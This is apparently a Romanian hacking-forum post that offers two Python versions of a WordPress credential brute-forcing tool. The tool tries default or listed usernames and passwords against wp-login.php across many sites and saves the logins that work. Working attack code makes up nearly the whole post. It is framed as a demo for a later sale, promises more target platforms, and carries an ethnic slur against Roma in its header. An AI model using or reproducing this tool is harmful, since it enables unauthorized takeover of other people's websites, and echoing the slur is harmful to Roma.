Un mic cadou din partea mea, poate fi considerat un fel de demo pentru un release ulterior in RST Market. ################################# ### Wordpress BruteForce Tool ### ### Not designed for gypsies ### ### Author: Brenin@RST ### ### Jabber: obelix@creep.im ### ################################# import urllib, urllib2, cookielib from threading import Thread def checker(username,password,urlogin,urlreq): try: cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) login_data = urllib.urlencode({'log' : username, 'pwd' : password}) opener.open(urlogin, login_data) resp = opener.open(urlreq) barf = resp.read() print "Checking login on " + urlogin + " with " + username + " and " + password if "Dashboard" in barf: fis = open("caremerg.txt", 'a') fis.write(urlogin + " " + username + " @@@ " + password + "\n") fis.flush() print " GOOOOOOOOOOOOOOOOOOOD ONEEEEEEEEEEEEEEEEE!!!" except Exception as e: #print e -> Uncomment this and comment the line below if you want to see errors f = 1 if __name__ == '__main__': username = 'admin' password = ['admin','123456','password','Password1'] fis = open("sites.txt", 'rU') sites = fis.readlines() for i in range(4): for site in sites: urlogin = site.rstrip() + "/wp-login.php" urlreq = site.rstrip() + "/wp-admin/" #checker(username,password[i],urlogin,urlreq) -> function call for test purposes . IF this bugs you delete it. t = Thread(target = checker, args = (username,password[i],urlogin,urlreq)) t.start() t.join(1) Varianta de mai sus ruleaza cu setul de useri si parole setate in script. Varianta de mai jos incarca setul de useri din users.txt , setul de parole din passes.txt ################################# ### Wordpress BruteForce Tool ### ### Not designed for gypsies ### ### Author: Brenin@RST ### ### Jabber: obelix@creep.im ### ################################# import urllib, urllib2, cookielib from threading import Thread def checker(username,password,urlogin,urlreq): try: cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) login_data = urllib.urlencode({'log' : username, 'pwd' : password}) opener.open(urlogin, login_data) resp = opener.open(urlreq) barf = resp.read() print "Checking login on " + urlogin + " with " + username + " and " + password if "Dashboard" in barf: fis = open("caremerg.txt", 'a') fis.write(urlogin + " " + username + " @@@ " + password + "\n") fis.flush() print " GOOOOOOOOOOOOOOOOOOOD ONEEEEEEEEEEEEEEEEE!!!" except Exception as e: #print e -> Uncomment this and comment the line below if you want to see errors f = 1 if __name__ == '__main__': fis = open("sites.txt", 'rU') fispas = open("passes.txt",'rU') fisusers = open("users.txt",'rU') passwords = fispas.readlines() users = fisusers.readlines() sites = fis.readlines() for passwd in passwords: for user in users: for site in sites: urlogin = site.rstrip() + "/wp-login.php" urlreq = site.rstrip() + "/wp-admin/" #checker(user.rstrip(),passwd.rstrip(),urlogin,urlreq) -> function call for test purposes . IF this bugs you delete it. t = Thread(target = checker, args = (user.rstrip(),passwd.rstrip(),urlogin,urlreq)) t.start() t.join(1) Va trebuie un fisier sites.txt care contine URL-uri in forma lor normala. Exemplu: Jamie Oliver | Official site for recipes, books, tv, restaurants and food revolution Se porneste cu: python wpcrack.py Daca se doreste, pot sa pun si varianta compilata pentru Windows. Viitor update o sa adaug Joomla, Drupal, WHMCS, WHM, ZenCart, si alte sugestii din partea voastra. Enjoy.